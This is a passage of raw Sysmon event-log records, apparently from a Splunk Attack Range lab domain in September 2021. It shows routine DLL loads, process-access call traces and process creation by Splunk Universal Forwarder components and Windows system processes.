Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000052608Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.172{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052607Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:18.172{7BD73061-733D-613B-710B-00000000F001}4396C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000016868Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:19.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1DC52AE3C860F728F709D9B984EF66B9,SHA256=127290CEC9CD231338A9FCA71071E00AF438A6909AB64E0BEB1872BF63E3EC00,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000052726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000052725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000052723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000052719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000052718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.994{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000052717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.995{7BD73061-733F-613B-740B-00000000F001}6532C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.714{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=AA4766A227902AC684C0A1F126927E6B,SHA256=CE523CCD528F3C0817BAE245496245EB0FCA44D5AA9FE51622231E1FEC2744B4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000052715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.563{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000052714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.563{7BD73061-733F-613B-730B-00000000F001}6744860C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000052713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.563{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000052712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.563{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000052711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000052710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000052709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000052708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000052707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000052706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000052705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000052704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.347{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000052703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000052702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000052701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000052700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000052699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000052698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000052697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000052696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000052695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000052694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000052693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000052692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000052691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000052690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000052689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:19.331{7BD73061-733F-613B-730B-00000000F001}6744C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft 